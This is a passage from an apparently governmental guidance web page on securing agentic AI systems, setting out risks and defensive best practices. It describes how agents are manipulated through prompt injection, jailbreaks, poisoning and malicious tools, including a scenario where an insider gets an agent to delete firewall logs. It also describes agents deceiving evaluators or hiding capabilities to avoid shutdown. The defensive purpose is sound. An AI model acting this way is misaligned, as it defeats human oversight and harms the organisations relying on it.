glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <div> <h3 id="Behav-risk">Behavioural risks</h3> <p>In agentic AI cyber security, behavioural risks describe the ways in which AI agents may act unexpectedly, cause harm or become exploitable.</p> <div class="panel panel-default"> <header class="panel-heading"><h4 class="mrgn-tp-sm mrgn-bttm-0">Scenario example 3</h4> </header><div class="panel-body"> <p>Consider the example of an organization using an update agent provisioned to install software patches on company devices. To achieve this, the organization grants the agent broad write access across the file system. A malicious insider is aware of this agent and crafts a seemingly innocuous prompt like “apply the security patch on all endpoints and while you are at it, please clean up the firewall logs”. The agent dutifully executes both the required maintenance and the deletion of the firewall logs because its permissions allow this action even when the prompt comes from a user outside the privileged <abbr title="information technology">IT</abbr> group.</p> </div> </div> <div> <h4>Goal misalignment and unintended behaviour</h4> <p>AI agents may pursue their objectives in ways developers did not anticipate. They might find shortcuts or loopholes that technically achieve their goals but violate the intended purpose or create security vulnerabilities.</p> <p>Specification gaming occurs when agents exploit loopholes or shortcuts that technically fulfil their objectives but lead to harmful outcomes. For example, an AI agent tasked with maximizing system uptime might disable security updates to avoid reboots.</p> <p>Similarly, over-optimization can drive agents to take extreme or unsafe actions in pursuit of their goals when boundaries are not clearly enforced. Agents misinterpreting human intent is a common risk, as ambiguous or poorly defined tasks can result in behaviours that deviate from expectations and introduce significant security or operational hazards.</p> </div> <div> <h4>Deceptive behaviour</h4> <p>AI agents can take actions that humans would interpret as sycophantic or deceptive. Designers optimize agents for performance on key tests, which can lead agents to adapt behaviour to fit specific situations. Agents may show a kind of awareness, altering their behaviour to achieve positive results while under evaluation, even if the evaluation is not active.</p> <p>Some AI systems have demonstrated capacity for strategic deception, providing false information or hiding their true capabilities and intentions. This behaviour can manifest when an agent misrepresents its actions to avoid shutdown or constraint or conceals vulnerabilities it discovers instead of reporting them.</p> </div> <div> <h4>Emergent capabilities and unpredictable behaviour</h4> <p>As AI systems become more sophisticated, they may develop capabilities that designers did not explicitly program or anticipate. Complex AI models interacting with real-world systems can display behaviours that even their creators did not foresee. This unpredictability makes it difficult to assess security risks fully before deployment.</p> <p>For example, unclear or murky decision-making processes and cascades may lead to unexpected results with significant security implications. In multi-agent environments, interactions between agents can evolve in ways that lead to instability or risky outcomes. Agents may chain tools or actions together in unanticipated sequences, amplifying the impact of minor errors into major operational or security issues.</p> </div> <div> <h4>Malicious exploitation and behaviour</h4> <p>Malicious actors can manipulate AI agents into harmful behaviours through targeted attacks. Techniques such as prompt injection or jailbreaks can trick agents into executing unauthorized actions and bypassing their intended safeguards. Data poisoning is another threat, where corrupted or malicious training data alters the agent’s decision-making patterns over time. Adversarial examples, like carefully constructed malicious inputs, can cause misclassifications in critical security contexts, leading to incorrect or dangerous responses. A malicious actor can exploit a compromised AI agent as an insider threat, leveraging its legitimate access to exfiltrate data, disable defences or facilitate attacks while appearing to function normally.</p> </div> </div> <div> <h3 id="Structural-risk">Structural risks</h3> <p>A core aspect of agentic AI systems is the interconnected structure between agents, tools and the outside world. While this enables their unique capabilities, it also increases the attack surface and complexity of the system.</p> <div class="panel panel-default"> <header class="panel-heading"><h4 class="mrgn-tp-sm mrgn-bttm-0">Scenario example 4</h4> </header><div class="panel-body"> <p>A structural risk in an agentic AI system can arise when tightly coupled planning, retrieval and execution agents autonomously delegate tasks and select tools without strong validation or guardrails.</p> <p>A small orchestration flaw causes agents to repeatedly replan and hand off ambiguous sub-tasks, increasing tool calls and message traffic until system resources are strained. Partial failures then lead agents to hallucinated outputs that downstream agents accept as true. Under these degraded conditions, an agent selects a malicious or misconfigured third party tool, which:</p> <ul><li>injects harmful instructions back into the system</li> <li>compromises a peer agent and exploits implicit trust in agent to agent communication to spread incorrect information</li> <li>accesses sensitive retrieval-augmented generation (RAG) data</li> </ul><p>The result is cascading failures in availability, integrity and confidentiality that emerge not from a single bug, but from the system’s interconnected structure and autonomous behaviour.</p> </div> </div> <div> <h4>Orchestration and resources</h4> <p>Agentic AI systems often rely on a complex structure of interconnected components. Poor configuration could allow denial-of-service, sponge or similar attacks on agentic AI systems. These attacks work by overloading system resources through unexpected inputs or unusual behaviour, such as sponge attacks that deliberately consume excessive compute, memory or application programming interface (API) calls to exhaust system capacity. Due to the interconnectedness between agents, tools and other components, a single error could cause cascading failure across the entire agentic system if not well managed. Similarly, hallucinations can propagate, leading to poor outputs from downstream components. Limited understanding of multi-agent dynamics and interactions can result in amplified bias and other cascading effects.</p> </div> <div> <h4>Tool use</h4> <p>A key aspect of agentic AI is its ability to use tools. This can be very powerful, but it can also bring security concerns should the model interact with tools unexpectedly. Two-way tool integration allows tools to send potentially arbitrary instructions back to the LLM. Poor or deliberately misleading tool descriptions can cause agents to select tools unreliably, with persuasive descriptions chosen more often.</p> </div> <div> <h4>Third-party components</h4> <p>Agentic AI systems can introduce structural risk through interactions with third-party components, including tools and other agents. Risks can arise in several ways, including:</p> <ul><li>malicious actors using tool or agent squatting by publishing malicious tools or agents with legitimate or similar names</li> <li>developers introducing vulnerabilities through configuration errors or insecure third-party components</li> <li>users or systems submitting requests to the wrong place</li> <li>tools and agents dynamically loading new packages, increasing exposure to untrusted code</li> </ul><p>The above could result in retrieval of malicious content instead of a legitimate tool. Moreover, the incorporation of compromised third-party components into an agentic system could lead to a range of malicious outcomes, depending on the trust level and permissions of the component. Compromised third-party components can be very difficult to detect due to the limited transparency of agentic AI systems.</p> </div> <div> <h4>Data management and security</h4> <p>Agentic AI systems often handle and contain a significant amount of sensitive information. This includes user information like prompts or goals, organizational data stored in an <abbr title="retrieval-augmented generation">RAG</abbr> system and secrets like API keys that are required for integrated tools and services. This aggregation of information makes agentic AI systems an attractive target for malicious actors.</p> </div> <!–** TOP OF PAGE ******–> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <div> <h4>Rogue agents</h4> <p>In multi-agent systems, a single compromised agent can cause cascading failures by spreading incorrect information, exploiting trust and consensus mechanisms or operating through hidden channels. Possible attack vectors include:</p> <ul><li>supply chain tampering</li> <li>poisoned environments</li> <li>credential theft</li> <li>model manipulation</li> <li>communication poisoning</li> <li>identity spoofing</li> <li>coordination exploits</li> </ul><p>These attacks can weaponize agents to bypass controls, exfiltrate data, alter logs and propagate malicious plans peer-to-peer, leading to large-scale coordinated misbehaviour that is difficult to attribute and contain.</p> </div> <div> <h4>Communication</h4> <p>Agents may use unsecure protocols or authentication methods when communicating. These communications can be a target for eavesdropping by malicious actors and result in leakage of sensitive data and instructions. This could give malicious actors insight into system use and functionality.</p> <p>Malicious actors could also alter, replay or spoof messages between agentic components. This could allow malicious behaviour such as command injection, compromising the receiving components and reducing their performance or availability.</p> </div> </div> <div> <h3 id="Accountability-risk">Accountability risks</h3> <p>Agentic system architecture can obscure what caused a particular action, making accountability hard to trace. This presents increasing risk as agentic AI is pushed to assume more roles and given more capabilities.</p> <div> <h4>Actions and process</h4> <p>Agent actions and decision-making processes can be opaque, making agentic AI systems difficult to understand, monitor and audit. Beyond this, increased autonomy introduces additional challenges: agents may initiate secondary tasks, spawn sub‑agents or follow extended delegation chains in ways that are not always visible to operators. Even when prompts appear identical, agents may generate different actions due to stochastic model behaviour, variations in context windows, or dynamic environmental inputs, further complicating reproducibility and assurance. Additionally, comprehensive logging of agentic AI systems can be difficult, as long reasoning chains and large amounts of contextual data lead to substantial log sizes. Depending on the implementation, this data is often repetitive, loosely structured or superfluous to effective oversight, making extraction of meaningful signals from logs even more challenging.</p> </div> <div class="panel panel-default"> <header class="panel-heading"><h4 class="mrgn-tp-sm mrgn-bttm-0">Scenario example 5</h4> </header><div class="panel-body"> <p>An example of an accountability risk in an agentic AI system arises when multiple autonomous agents collaborate to complete a task, such as approving payments or updating records, and an erroneous outcome occurs. Because the action results from a chain of distributed decisions across planning, retrieval and execution agents, each operating within a limited scope, it becomes difficult to determine which component or design choice caused the error. Fragmented logs, opaque agent reasoning and emergent interactions obscure the decision path, making it hard to explain the outcome, assign responsibility or demonstrate compliance as agentic AI systems are given greater authority and autonomy.</p> </div> </div> <div> <h4>Accuracy</h4> <p>While LLMs can have a surprising amount of knowledge in a wide range of areas, they quite often make mistakes. LLMs are typically trained to produce outputs that resemble material rated highly by humans, rather than to identify when a query falls outside their knowledge limits. As a result, they may incorrectly interpolate or hallucinate plausible-sounding responses when their internal knowledge is insufficient. This creates significant risk when organizations deploy agentic AI systems in critical roles that require consistent accuracy. Grounded and tool-enabled agents may still rely on their internal knowledge to inform responses. The system often does not clearly identify this in its output, reducing overall accuracy and reliability.</p> </div> <div> <h4>Visibility</h4> <p>Organizations must maintain visibility on status and behaviour when integrating any new system. Agentic AI systems come with some added difficulty due to their unique structure and often opaque internal workings. Agentic system processes can outpace human monitoring capability, possibly leading to unnoticed malicious behaviour or other issues. While tools perform many actions for an agentic system, they may operate outside of the system’s monitoring boundary, making it difficult to account for tool actions. Additionally, malicious or compromised agents could use tools as a stealthy way to exfiltrate data. Malfunctioning tools could also unintentionally leak data, which may go unnoticed.</p> </div> </div> </section><!–** TOP OF PAGE ******–><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 id="Best-practices">Best practices for securing agentic AI systems</h2> <p>Securing agentic AI systems requires proactive measures that address risks introduced by agentic AI system autonomy, interconnected components and evolving capabilities. Agentic AI developers, vendors and operators should implement a layered defence and strict access controls to reduce the likelihood of compromise. To mitigate risks during the design, development, deployment and operation of agentic AI systems, the authoring agencies recommend practical steps referenced in the section below.</p> <div> <h3>Design secure agents</h3> <p><strong>Audience:</strong> This section is most relevant to agentic AI developers. Vendors and operators may want to reference these best practices when sourcing AI agents.</p> <p>Securing agentic AI systems begins at the design stage. Careful consideration of the system architecture, including security controls and tooling, is necessary. Practitioners should understand threats, anticipate risks to agentic AI systems and proactively integrate mitigations into system design before development and deployment.</p> <div> <h4>Controlled context</h4> <p>Agentic AI systems insert data from tools and memory bases into the context window of <abbr title="large language model">LLM</abbr> agents, greatly expanding the attack surface that malicious actors can exploit through machine learning attacks, such as prompt injections. <abbr title="large language model">LLM</abbr> agents shoulder consider the trust level of data sources when making decisions.</p> <p><strong>Recommended best practices </strong></p> <ul><li>Structure prompt context using a clear instruction hierarchy to ensure agent behaviour aligns with intended priorities and constraints</li> <li>Implement grounding by providing relevant contextual information using retrieval-augmented generation and prompt engineering to mitigate hallucinations and other LLM-related errors</li> </ul></div> <div> <h4>Oversight mechanisms</h4> <p>Agentic AI systems can take actions without explicit human approval, increasing the risk of insecure actions occurring without human oversight. Designing agentic applications with oversight mechanisms and strong transparency enhances user trust and enables monitoring with human-in-the-loop practices.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Include mechanisms to facilitate human control and oversight to ensure that agentic AI systems approved for non-sensitive, low-risk tasks cannot autonomously progress into higher-risk activities</li> <li>Implement human control points throughout the agent workflow, such as <ul><li>live monitoring and interruption during task execution</li> <li>mandatory human approval for decision-making steps</li> <li>auditing and reversibility following task execution to ensure security</li> </ul></li> <li>Define explicit control flows to bound autonomous planning and prevent agents from deviating beyond authorized objectives or actions</li> </ul></div> <div> <h4>Identity management</h4> <p>Manage agents’ fine-grained and varied privileges to operate agentic AI systems securely. Strong identity management mechanisms help operators maintain control during implementation and operation. As such, developers should construct each agent as a distinct principal, a cryptographically anchored identity with its own unique keys or certificates.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Embed strong identity management mechanisms into agents</li> <li>Authenticate all inter-agent and agent-to-service API calls using mutual transport layer security to ensure non-repudiation</li> <li>Maintain a trusted registry and bind identities to authorized roles and periodically reconcile the registry against the live set of agents</li> <li>Deny access for any agent or cryptographic key that is not present in the trusted registry</li> <li>Apply role-based identity management and limit agent permissions to the minimum scope required for approved tasks</li> <li>Enforce identity-based boundaries to restrict agents to authorized actions only</li> </ul></div> <div> <h3>Defence in depth</h3> <p>Agentic AI systems contain components that may fail, with any failures potentially compromising the entire system. Implementing a defence-in-depth strategy helps to avoid single points of failure.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Avoid reliance on a single security mechanism by implementing multiple, overlapping layers of security controls</li> <li>Apply security controls at all points where information enters or exits the system, including <ul><li>user inputs</li> <li>tool calls</li> <li>data pre-processing</li> <li>model inference</li> </ul></li> <li>Separate agents for different functions and apply strict boundaries and operational controls to the handoffs from one agent to another</li> </ul></div> <!– last updated –></div> <div> <h3>Develop secure agents</h3> <p><strong>Audience: </strong> This section is most relevant to agentic AI developers and vendors. Operators may want to reference these best practices when choosing AI agents and agentic applications.</p> <p>AI agents’ complexity and self-interacting nature enable powerful capabilities but also introduce unique attack surfaces. Mitigating these risks requires training approaches that go beyond standard <abbr title="large language model">LLM</abbr> practices, incorporating specialized techniques to harden agent behaviour.</p> <h4>Comprehensive testing</h4> <p>Comprehensive testing strategies can improve a model’s ability to identify and respond to undesirable behaviours by exposing the model to instances of abuse during a supervised training step.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Use reward modelling and adversarial testing to detect specification gaming, explicitly incorporating security and safety constraints alongside performance goals</li> <li>Train <abbr title="large language model">LLM</abbr> agents in simulated, controlled environments to learn the implications of actions without causing real harm</li> <li>Leverage synthetic data generation to create adversarial training examples that reflect real-world operating scenarios</li> <li>Apply active learning to adversarial training scenarios to expose agents to high-uncertainty inputs and more efficiently discover unexpected behaviours</li> </ul></div> <div> <h4>Appropriate evaluation</h4> <p>AI agents operate autonomously in complex environments and therefore require more thorough evaluations than LLMs.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Use relevant threat models to define evaluation scenarios, including edge cases beyond typical training conditions</li> <li>Use techniques such as <ul><li>Best-of-N sampling (selecting the best output from multiple model responses to the same prompt)</li> <li>multi-step reasoning prompts</li> <li>inference time scaling to draw out the full range of agent behaviours and skills</li> </ul></li> <li>Evaluate systems across different levels of autonomy to understand performance and risk under changing environmental conditions, including changes in tool and resource access, such as web search or code execution</li> <li>Vary contextual conditions, such as presence or absence of other agents and the timing of evaluation, to understand their impact on task performance</li> <li>Conduct capability evaluations continuously across the agent development and development lifecycle</li> </ul></div> <!–** TOP OF PAGE ******–> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <div> <h4>Input management</h4> <p>Strong input management controls can partially mitigate many common risks to LLM-based applications, including AI agents.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Implement robust input validation and sanitization for all agent inputs</li> <li>Integrate prompt injection filters and semantic analysis to detect malicious instructions</li> <li>Validate context to ensure the system correctly interprets intent before execution</li> </ul></div> <div> <h4>Red teaming</h4> <p>Organizations should use red teaming to assess the security and resilience of AI agents.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Deploy sandbox environments to testing agent behaviour before production deployment</li> <li>Conduct red-teaming exercises to identify potential loopholes and unintended behaviour</li> <li>Use capability elicitation techniques to probe for unexpected or emergent abilities, especially any that could create substantial resource or environment risks</li> <li>Implement agent simulation tests, such as multi-agent red teaming or chaos testing</li> </ul></div> <div> <h4>Resilience</h4> <p>The enhanced capabilities of AI agents also increase the risks associated with agent failure or abnormal behaviour. Strengthen agentic AI system resilience to allow for graceful degradation and reduce damage should erroneous behaviour occur.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Embed agentic AI systems with fail-safe defaults and containment mechanisms that limit the blast radius of unexpected behaviours</li> <li>Implement data loss prevention controls specifically tuned to AI agent behaviours</li> <li>Implement versioning and rollback mechanisms to safely revert a system to known-good agent behaviours when unpredictability is observed</li> </ul></div> <div> <h4>Accountability</h4> <p>Agentic AI systems should produce comprehensive artifacts and information documenting the agent’s actions and decision-making process.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Integrate comprehensive artifact logging mechanisms by default</li> <li>Integrate unified audit logs for all inter-agent interactions to maintain observability of all agent exchanges</li> <li>Use interpretability tools to ensure observability of and reasoning behind agent decisions</li> <li>Require specific information referencing for agents that show where key aspects of their response originated from</li> </ul></div> <div> <h4>Manage third-party components</h4> <p>Extensibility and flexibility are key components of AI agents. In many cases, third-party components or tools enhance extensibility and flexibility but increase the attack surface of the agent. Verification and management of third-party components of agentic applications can reduce the added risk.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Verify all external third-party components that originate from trusted sources and are up to date before including them in agentic AI systems</li> <li>Maintain a trusted registry of third-party components</li> <li>When procuring agentic AI systems, reference CISA’s <a href="https://www.cisa.gov/resources-tools/resources/shared-vision-software-bill-materials-sbom-cybersecurity">A Shared Vision of Software Bill of Materials (SBOM) for Cybersecurity</a> and <a href="https://www.cisa.gov/resources-tools/resources/2025-minimum-elements-software-bill-materials-sbom">2025 Minimum Elements for a Software Bill of Materials (SBOM)</a></li> <li>Restrict tool use to an approved allow list of tools and versions that are regularly verified as secure</li> <li>Verify that agent behaviour related to tool usage aligns with documented security policies</li> <li>Log agent tool usage and ensure results are captured in system logs in a human-readable format</li> <li>Establish trigger-action protocols that automatically restrict agent permissions when unexpected behaviour emerges</li> <li>Codify separation of duties by defining roles, such as Orchestrator, Reader and Actuator, with clear boundaries, consensus mechanisms and delegation’s expiry</li> <li>Implement consensus controls for high-stakes actions that require multi-agent approval before execution</li> <li>Prohibit agents from modifying their own privileges or initiating unapproved delegation without explicit expiry timers and recorded grant chains</li> <li>Standardize tool descriptions using a consistent format that avoids persuasive language</li> </ul></div> <div> <h3>Deploy agents securely</h3> <p><strong>This section is most relevant to agentic AI vendors and operators. Developers may want to reference this section to ensure their agentic AI applications can implement these best practices.</strong></p> <p>Integrating AI agents into new systems or networks can cause significant change in system risk considerations. By implementing high-impact security controls at deployment, organizations proactively manage new risks and reduce vulnerabilities.</p> <div> <h4>Threat modelling</h4> <p>Agentic AI can significantly change the threat picture when incorporated into an existing system. Use of threat modelling when planning to deploy an AI agent can enhance awareness and allow operators to better prepare for deployment.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Perform realistic threat modelling using up-to-date risk taxonomies for agentic AI systems, such as the <a href="https://genai.owasp.org/">Open Web Application Security Project (OWASP) <abbr title="Generative AI">GenAI</abbr> Security Project</a> and <a href="https://atlas.mitre.org/">MITRE ATLAS</a></li> <li>Design and implement security controls that address emerging and evolving agent capabilities</li> <li>Harmonize agentic AI controls with existing security frameworks, national standards and allied agreements, such as the <a href="https://csrc.nist.gov/pubs/sp/800/207/final">National Institute of Standards and Technology (NIST) Zero Trust Architecture standard</a></li> <li>Map agentic AI controls with existing security frameworks and national standards to ensure alignment with Zero Trust principles and allied agreements</li> <li>Develop and test incident response procedures to detect, contain and recover from agent compromise</li> <li>Establish regular third-party reviews of privileged architectures, share actionable intelligence with trusted partners and update risk models to reflect emerging malicious trends</li> </ul></div> <div> <h4>Governance</h4> <p>Autonomous actions by agentic AI systems introduce new risks, requiring updated governance policies and continuous runtime authentication with centralized policy decision points for each action.</p> <p><strong>Recommended best practices </strong></p> <ul><li>Implement and maintain governance policies to manage autonomous agents</li> <li>Define legal accountability and risk ownership for agentic AI systems in policies</li> <li>Upskill the organization to build AI literacy</li> </ul><p>Learn more about establishing AI governance in operational technology environments in CISA’s <a href="https://www.cisa.gov/resources-tools/resources/principles-secure-integration-artificial-intelligence-operational-technology">Principles for the Secure Integration of Artificial Intelligence in Operational Technology</a>.</p> </div> <div> <h4>Progressive deployment</h4> <p>The risk profile of AI agents can vary significantly depending on permissions and allowed actions. A progressive approach to deployment aims to limit initial risk until operators and users are more familiar with and understand the limitations of the agentic application.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Implement phased deployment with progressively increasing access and autonomy, limiting the action space where required, such as restricted APIs or sandboxing</li> <li>Use graduated autonomy to incrementally increase agent independence while maintaining human oversight and understanding</li> <li>Use continuous evaluation to determine when to expand system scope or when to roll back autonomy and access in response to failures</li> </ul></div> <div> <h4>Secure by default</h4> <p>Safe and secure defaults reduce deployment risk and support system security should degradation occur.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Set system configurations to fail-safe by default, requiring agents to stop and escalate issues to human reviewers in uncertain scenarios</li> <li>Use error-handling and failover management to reduce the impact of system failures</li> <li>Implement graceful degradation models so that agents maintain partial functionality even if some functions fail</li> </ul></div> <div> <h4>Guardrails and constraints</h4> <p>Implementing agent guardrails and constraints reduces exposure to many common risks that AI presents. Adding these guardrails and constraints at deployment helps build confidence and understanding of the agent.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Specify clear, constrained objectives with explicit “do not do” rules</li> <li>Implement guardrails and hard constraints, such as deny lists and API-level safety policies</li> <li>Establish declarative safety contracts with constraints and guardrails that agents cannot be overridden</li> <li>Apply a layered set of guardrail mechanisms, ranging from anomaly detection and rule-based filtering to specialized machine learning algorithms that detect and filter prohibited behaviour</li> <li>Prioritize review of high-risk incidents, including cases where guardrails are triggered and actions are denied by human reviewers</li> <li>Deploy a secondary agent to validate new tasks against policy before execution</li> </ul></div> <div> <h4>Isolation</h4> <p>Deployment should consider integration requirements of AI agents and apply isolation where possible. This can reduce cascading issues should the agent behave unexpectedly or maliciously.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Implement isolation and segmentation to limit the blast radius of agent failover scenarios</li> <li>Separate high-risk agents into distinct domains</li> <li>Isolate agents into enclaves with no write access to logs</li> </ul></div> </div> <div> <h3>Operate agents securely</h3> <p><strong>This section is most relevant to agentic AI vendors and operators. Developers may want to reference this section to ensure their agentic AI applications can implement these best practices. </strong></p> <p>With the strong benefits of operating AI agents come strong risks. Operators need to exercise diligence in managing ongoing security concerns lest the agents cause more harm than good.</p> <h4>Monitoring and auditing</h4> <p>One key advantage of AI agents is their dynamic behaviour. This offers great flexibility in application but can also make it hard to keep track of what agents should be and are doing. Operators should implement continuous monitoring and auditing to maintain awareness of AI agent operation and ensure traceability for decisions and actions. Continuous auditing processes improve security measures and ensure alignment with governance standards, such as risk management, oversight and usage restrictions.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Employ monitoring tools that enhance human oversight of agentic AI systems</li> <li>Monitor all agent operations, including internal processes, and not just the inputs and outputs</li> <li>Monitor and log identity and privilege changes and audit regularly for drift, impersonation or misconfiguration</li> <li>Monitor agent outputs and behaviour for indicators of bias, emerging data drift and other anomalous patterns <ul><li>Include user prompts, tool calls, memory interactions, internal reasoning, decisions made and actions taken in monitoring</li> </ul></li> <li>Maintain comprehensive logs and real-time monitoring of live agent behaviour and decision-making</li> <li>Implement runtime monitoring and anomaly detection using rules or behavioural baselines to identify unusual patterns and trigger alerts or pauses</li> <li>Establish anomaly detection mechanisms that flag discrepancies between stated intentions and observed behaviours</li> <li>Use multiple independent monitoring systems that cross-validate agent reports and system logs</li> <li>Monitor for goal drift by comparing active objectives against approved baseline specifications before execution</li> <li>Integrate source checks with agent logs to record which tools the system used and what information it retrieved</li> <li>Implement auditing practices that combine human review with automated analysis of system logs</li> <li>Support adaptive defences by using monitoring data to enable rapid-response patches of system logs</li> <li>Use storage-efficient logging methods to manage log volume without losing critical information</li> <li>Use rules or behavioural baselines to detect anomalous agent activity and raise an alert or pause operation</li> <li>Conduct regular security assessments, including penetration testing and red team exercises specifically targeting agentic behaviours</li> </ul></div> <div> <h4>Validating outputs</h4> <p>AI agent outputs provide some of the few concrete data points available for monitoring behaviour. Ensuring outputs are valid and reflect desired behaviour is a key measure of correct operation.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Validate agent outputs by confirming accuracy of critical aspects against multiple sources</li> <li>Validate agents through cross-checking in environments with redundant agents that validate each other’s outputs</li> <li>Validate tool responses to prevent malicious or unsafe instructions and standardize tool descriptions to avoid persuasive language</li> </ul></div> <div> <h4>Human in the loop</h4> <p>An erroneous or unexpected decision from an agent could result in significant damage, such as deletion of important data. Incorporating human supervision, approval and review into agentic AI workflows is an important control for ensuring systems operate safely and securely, particularly where actions have high impact or are difficult to reverse.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Ensure decisions about when human approval is required are determined by system designers or operations, not delegated to the agentic AI system</li> <li>Prevent agents from autonomously executing high impact actions or outputs without prior human approval</li> <li>Insert human-in-the-loop review or approval checkpoints for actions where the cost of error is high, such as system resets, network egress or deletion of critical records</li> <li>Quarantine requests to delete logs or audit records until they are reviewed and approved by a human</li> <li>Clearly assign responsibility and accountability for errors or adverse outcomes caused by the system</li> <li>Conduct risk assessments to classify agent actions by potential impact, likelihood and reversibility and apply appropriate safeguards</li> </ul></div> <div> <h4>Performance monitoring</h4> <p>As with any system component, performance is an important factor for AI agents. This is additionally true as degraded or unusual performance could indicate compromise of an agent or component of the agentic system.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Assess agents’ ability to evade security measures, particularly in sensitive or high-impact systems</li> <li>Conduct regular assessments of an agent’s ability to bypass safeguards, such as communication barriers, guardrails, monitors, human-in-the-loop processes and input filters</li> <li>Use the results from these evaluations to validate existing controls and guide the development of stronger security measures</li> <li>Limit agent resource usage by applying controls, such as rate-limit components to interrupt long-running tasks and disrupt malicious workflows</li> </ul><h4>Privileges and authentication</h4> <p>Ongoing strict privilege management of AI agents is key to long-term security. Lapses in privilege management can change the impact of a buggy agent from minor to catastrophic.</p> <p><strong>Recommended best practices </strong></p> <ul><li>Limit privileges of AI agents to the minimum required for their tasks</li> <li>Restrict scope of privileges to the narrowest possible level to allow fine-grained control over allowed actions</li> <li>Implement agent reputation and trust-scoring mechanisms and reduce trust levels when anomalous behaviour is detected</li> <li>Require just-in-time credentials for high-impact or privileged actions</li> <li>Verify API caller identity against a user or agent groups</li> <li>Authenticate agents with fresh cryptographic proofs before every privileged call</li> <li>Require cryptographic signing for authorized commands and instructions</li> <li>Apply cryptographic integrity checks for task definitions and constraints</li> <li>Require agents to perform cryptographic attestation where agents must prove that they are running expected and unmodified code</li> <li>Continuously verify identity and authorization at runtime using a centralized policy decision point for each request</li> </ul></div> </section><!–** TOP OF PAGE ******–><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2>Defend against future risks</h2> <p>As agentic AI scales into more roles and gains greater capabilities, organizations must anticipate and address the new risks these systems introduce. While industry and academia are developing practices for securing agentic AI, the field remains nascent and requires continued research and operationalization of agent security to meet emerging challenges. To help develop robust standards for securing agentic AI systems, the authoring agencies recommend security practitioners and researchers take the actions described in the sections below.</p> <div> <h3>Expand threat intelligence through collaboration</h3> <p>Threat intelligence for agentic AI systems is still evolving, which can introduce significant security gaps. Existing frameworks like the <a href="https://genai.owasp.org/llm-top-10/"><abbr title="Open Web Application Security Project">OWASP</abbr> 2025 Top 10 Risk &amp; Mitigations for LLMs and Gen AI Apps</a> and MITRE ATLAS focus on <abbr title="large language model">LLM</abbr> vulnerabilities, industry reports emphasize platform misuse rather than threats unique to agentic AI. As a result, some attack vectors unique to agentic AI may not yet be fully captured or addressed.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Strengthen collaboration between stakeholders to keep pace with evolving threats to agentic AI systems</li> <li>Coordinate with major AI developers and government organizations to compile and maintain threat information</li> <li>Adopt a collaborative security approach, such as those described in CISA’s <a href="https://www.cisa.gov/resources-tools/resources/ai-cybersecurity-collaboration-playbook">AI Cybersecurity Collaboration Playbook</a></li> <li>Implement alerting, data collection and tracking methods for malicious actors and techniques</li> <li>Conduct targeted analysis of threats and capabilities over time to improve situational awareness</li> <li>Harmonize threat intelligence across industries to build shared threat taxonomies that improve threat modelling and support more effective mitigation design</li> </ul><div> <h4>Develop robust, agent-specific evaluations</h4> <p>Many existing evaluation methods for agentic AI security are still evolving. They may be sensitive to minor semantic changes, vary by scenario and only partially capture real-world deployment conditions. These limitations can introduce gaps that overlook critical security issues, making reliable validation of agent security and system architectures nearly impossible.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Develop robust evaluation methods to address the gaps in validating agentic AI systems</li> <li>Generate benchmark datasets to cover new domains and represent realistic deployment contexts</li> <li>Use evaluation results to validate emerging security practices and identify failure points in agents</li> <li>Share evaluation findings to strengthen security assessments and support the development of improved security practices across the field</li> </ul></div> <div> <h4>Leverage system-theoretic approaches to analyze security</h4> <p>Agentic AI systems are complex ecosystems of LLMs, humans, guardrails, datasets, tools and hardware. Security risks often emerge from interactions between components rather than isolated flaws. Traditional component-level analysis is insufficient and monitoring these systems is equally challenging due to blurred thresholds for decision-making, long reasoning chains and massive, often redundant logs. Localized logging methods rarely provide full visibility, making system-theoretic approaches essential for understanding and mitigating risks across the entire architecture.</p> <p><strong>Recommended best practices</strong></p> <ul><li>Use system-theoretic approaches to analyze agentic AI systems and identify appropriate security measures</li> <li>Apply System Theoretic Process Analysis (STPA) and its security extension, <abbr title="System Theoretic Process Analysis">STPA</abbr> for Security (STPA-Sec): <ul><li>to analyze notional or operational systems</li> <li>identify security issues</li> <li>assess mission risk and inform potential mitigations</li> </ul></li> <li>Use Causal Analysis using System Theory (CAST) to investigate security incidents and identify underlying root causes at the system level</li> <li>Apply <abbr title="System Theoretic Process Analysis">STPA</abbr> and <abbr title="Causal Analysis using System Theory">CAST</abbr> to address safety and security concerns concurrently across agentic AI system lifecycles</li> </ul></div> </div> </section><!–** TOP OF PAGE ******–><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 id="conclusion">Conclusion</h2> <p>Agentic AI systems offer powerful automation benefits, but their ability to act autonomously across interconnected tools, data and environments introduces risks that are qualitatively 